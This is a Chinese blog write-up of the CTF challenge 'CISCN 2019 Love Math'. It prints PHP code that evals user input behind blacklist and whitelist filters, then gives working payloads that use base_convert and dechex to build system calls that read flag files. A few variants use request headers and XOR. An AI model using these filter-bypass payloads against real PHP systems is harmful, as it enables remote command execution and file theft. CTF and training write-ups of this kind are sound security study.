[WP/Buu/RCE]-[CISCN 2019 初赛]Love Math

本文详细分析了一个PHP代码中利用`eval`函数执行任意代码的安全漏洞。通过长度限制、关键字黑名单和函数白名单过滤,攻击者仍能构造payload,如使用base_convert进行进制转换绕过。示例展示了如何构造命令执行的payload,并提到了可能的绕过方法,如利用请求头和异或运算。同时,文章还提及了针对此类漏洞的防护措施的重要性。
摘要由CSDN通过智能技术生成

[CISCN 2019 初赛]Love Math

源码
 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

逻辑:长度限制+关键字黑名单过滤+函数白名单匹配,

初步目的:对eval进行利用,执行任意代码

初步分析

正则比较暴力,只是检测是否包含非白名单的字符串。

可用关键字和符号包括:

上述的数学函数白名单
;
~
^
&
|
[]被禁   ->   {}替代

常用函数:

dechex()   						// 十进制转十六进制
hexdec()   						// 十六进制转十进制
bin2hex()						// 字符串转十六进制
hex2bin()						// 十六进制转二进制字符串
base_convert(string,int,int)	// 任意进制转化
base_convert(76478043844,9,34);	// dechex
base_convert(22950,23,34);		// hex2bin
base_convert('1751504350',10,36);	// system
base_convert('22950',10,36);		// exec
base_convert('15941',10,36);		// cat
dechex(16)^asinh^pi;			// ' *'(空格+星),此处无用

构造payload

测试的时候发现这个长度设置的还是很刁钻的。

字符串构造:

bin2hex('cat /f*');				// 636174202f662a
hexdec('636174202f662a');		// 27973174078432810
bin2hex('cat *');				// 636174202a
hexdec('636174202a');			// 426836762666
bin2hex('cat /*');				// 636174202f2a
hexdec('636174202f2a');			// 109270211243818

// hexbin(dechex(xxxx))
base_convert(22950,23,34)(base_convert(76478043844,9,34)(dechex(xxxxx)))
// 精简版,前面必须加括号,例子是windows执行calc
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(1667329123)))
// 可行
($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211243818)))

构造_GET多参数传命令:

// ($_GET){pi}($_GET){abs}
c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{pi}($$pi{abs})&pi=system&abs=cat+/flag

补充(看到大佬的方法https://www.cnblogs.com/20175211lyz/p/11588219.html)
这两个方法并未成功,但可以作为思路补充,

getallheaders

用请求头传递参数,本地测试可行,但是BUU的靶机没有测试成功。

$pi=base_convert(696468,10,36)($pi(8768397090111664438,10,30)(){1})

包含异或的:

同样没有成功,原因推测是,返回数据长度有限制,

base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
system('cat'.dechex(16)^asinh^pi) => system('cat *')
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值